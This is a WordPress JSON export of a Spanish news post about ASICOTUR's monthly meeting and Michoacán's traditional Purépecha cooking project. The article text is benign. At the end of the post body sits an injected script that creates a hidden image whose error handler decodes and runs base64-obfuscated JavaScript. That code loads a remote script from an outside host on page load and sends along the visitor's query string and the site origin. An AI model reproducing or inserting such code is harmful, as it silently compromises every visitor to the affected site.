{"id":18253,"date":"2025-06-30T11:14:35","date_gmt":"2025-06-30T14:14:35","guid":{"rendered":"https:\/\/nubesmgzdigital.com.ar\/?p=18253"},"modified":"2025-08-13T15:27:48","modified_gmt":"2025-08-13T18:27:48","slug":"michoacan-impulsa-el-proyecto-de-cocina-tradicional-en-la-reunion-mensual-de-asicotur","status":"publish","type":"post","link":"https:\/\/nubesmgzdigital.com.ar\/index.php\/2025\/06\/30\/michoacan-impulsa-el-proyecto-de-cocina-tradicional-en-la-reunion-mensual-de-asicotur\/","title":{"rendered":"Michoac\u00e1n impulsa el proyecto de cocina tradicional en la reuni\u00f3n mensual de ASICOTUR"},"content":{"rendered":"\n<p class=\"has-white-color has-text-color has-background has-link-color wp-elements-cbc571c8fc0e21803c42c4a681175da7\" style=\"background-color:#075683\"><em><strong>Representantes de 26 pa\u00edses se reunieron para avanzar en proyectos clave como los Caminos Inici\u00e1ticos y los Reconocimientos a la Cooperaci\u00f3n Tur\u00edstica Internacional 2025.<\/strong><\/em><\/p>\n\n\n\n<p>El pasado jueves 26 de junio, en el marco de la celebraci\u00f3n del <em>D\u00eda Internacional de la Gastronom\u00eda Sostenible<\/em>, celebrado el 18 de junio y proclamado por la Asamblea General de las Naciones Unidas, \u2014 ASICOTUR dedic\u00f3 su reuni\u00f3n mensual a resaltar el valor de la gastronom\u00eda como patrimonio cultural y motor del turismo sostenible.&nbsp;<\/p>\n\n\n\n<p>En este contexto, se llev\u00f3 a cabo una sesi\u00f3n especial donde m\u00e1s de cuarenta delegados y representantes de 26 pa\u00edses, quienes reafirmaron el compromiso del organismo con la cooperaci\u00f3n tur\u00edstica internacional desde una perspectiva de filantrop\u00eda, sostenibilidad e intercambio de saberes.<\/p>\n\n\n\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"596\" data-id=\"18254\" src=\"https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2025\/06\/Reunion-de-asociados-junio-1024x596.png\" alt=\"\" class=\"wp-image-18254\" srcset=\"https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2025\/06\/Reunion-de-asociados-junio-1024x596.png 1024w, https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2025\/06\/Reunion-de-asociados-junio-300x174.png 300w, https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2025\/06\/Reunion-de-asociados-junio-768x447.png 768w, https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2025\/06\/Reunion-de-asociados-junio-696x405.png 696w, https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2025\/06\/Reunion-de-asociados-junio-1068x621.png 1068w, https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2025\/06\/Reunion-de-asociados-junio-722x420.png 722w, https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2025\/06\/Reunion-de-asociados-junio.png 1422w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"598\" data-id=\"18255\" src=\"https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2025\/06\/Representantes-de-Angola-y-Timor-Oriental-1024x598.png\" alt=\"\" class=\"wp-image-18255\" srcset=\"https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2025\/06\/Representantes-de-Angola-y-Timor-Oriental-1024x598.png 1024w, https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2025\/06\/Representantes-de-Angola-y-Timor-Oriental-300x175.png 300w, https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2025\/06\/Representantes-de-Angola-y-Timor-Oriental-768x449.png 768w, https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2025\/06\/Representantes-de-Angola-y-Timor-Oriental-696x407.png 696w, https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2025\/06\/Representantes-de-Angola-y-Timor-Oriental-1068x624.png 1068w, https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2025\/06\/Representantes-de-Angola-y-Timor-Oriental-719x420.png 719w, https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2025\/06\/Representantes-de-Angola-y-Timor-Oriental.png 1499w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/figure>\n\n\n\n<p>Durante la jornada, se presentaron los resultados del Congreso <em>Conecta &amp; Lidera<\/em>, celebrado recientemente en Pontevedra, aunque los aplausos se los llev\u00f3 la presentaci\u00f3n del proyecto de Cocina Tradicional Mexicana del Estado de Michoac\u00e1n, a cargo del secretario de Turismo, Roberto Monroy y la subsecretaria Lucero Garc\u00eda. El proyecto \u2014que busca visibilizar el trabajo de las cocineras tradicionales pur\u00e9pechas y perpetuar sus saberes\u2014 fue recibido con gran inter\u00e9s por los miembros, quienes destacaron los desaf\u00edos del relevo generacional, la formaci\u00f3n y la adaptaci\u00f3n a nuevas tendencias. El SECTUR de Michoac\u00e1n, agradeci\u00f3 la instancia y puso a disposici\u00f3n el material para todos los asociados.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"alignright size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"717\" src=\"https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2025\/06\/Michoacan-1024x717.jpg\" alt=\"\" class=\"wp-image-18258\" style=\"width:311px;height:auto\" srcset=\"https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2025\/06\/Michoacan-1024x717.jpg 1024w, https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2025\/06\/Michoacan-300x210.jpg 300w, https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2025\/06\/Michoacan-768x538.jpg 768w, https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2025\/06\/Michoacan-1536x1076.jpg 1536w, https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2025\/06\/Michoacan-2048x1435.jpg 2048w, https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2025\/06\/Michoacan-100x70.jpg 100w, https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2025\/06\/Michoacan-696x488.jpg 696w, https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2025\/06\/Michoacan-1068x748.jpg 1068w, https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2025\/06\/Michoacan-600x420.jpg 600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/div>\n\n\n<p>Para cerrar la sesi\u00f3n, se anunci\u00f3 oficialmente el lanzamiento de la IV edici\u00f3n de los <em>Reconocimientos a la Cooperaci\u00f3n Tur\u00edstica Internacional 2025<\/em>, cuyas bases ya se encuentran disponibles en la web de Asicotur.&nbsp;<\/p>\n\n\n\n<p>El presidente y vicepresidente de la asociaci\u00f3n animaron a los socios a seguir compartiendo sus actividades para dar visibilidad a sus territorios, reforzando el esp\u00edritu de cooperaci\u00f3n y proyecci\u00f3n internacional que define a ASICOTUR y su apuesta decidida por un turismo que respete las culturas, empodere a las comunidades y genere impactos positivos y sostenibles.<br><\/p>\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>Representantes de 26 pa\u00edses se reunieron para avanzar en proyectos clave como los Caminos Inici\u00e1ticos y los Reconocimientos a la Cooperaci\u00f3n Tur\u00edstica Internacional 2025. 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